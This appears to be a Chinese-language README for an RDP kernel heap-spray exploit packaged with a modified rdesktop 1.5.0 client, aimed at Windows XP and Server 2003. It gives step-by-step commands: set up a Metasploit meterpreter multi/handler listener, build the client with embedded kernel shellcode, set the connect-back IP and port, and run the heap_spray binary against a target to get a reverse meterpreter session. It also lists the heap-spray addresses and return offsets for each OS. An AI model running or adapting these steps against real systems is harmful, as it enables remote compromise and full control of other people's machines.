1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config，配置回连ip和端口 192.168.116.133 6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址，内存大于等于2G)
5. msfconsole meterpreter 会得到session

ps: shellcode/shellcode.asm 是内核shellcode源码，编译以后转成二进制，就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了，make的时候会直接编译进程序。

目前仅支持xp，需要xp的内存 >= 2G

如果需要支持2003，需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址，经过反复测试，这个地址在03的不同系统版本，不同内存大小是不一样的。但是如果要测试 自己的机器的话，是可以成功在03上利用。不具备通用性。

heap_spray.c

ifdef _2003

define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues

define IcaChannelInputInternal_RET_OFFSET 0x268

else

define IcaChannelInputInternal_RET_OFFSET 0x274

define HEAP_SPRAY_ADDRESS 0x88c969c0

endif

测试03

1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config，配置回连ip和端口 192.168.116.133 6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址，内存大于等于2G)
5. msfconsole meterpreter 会得到session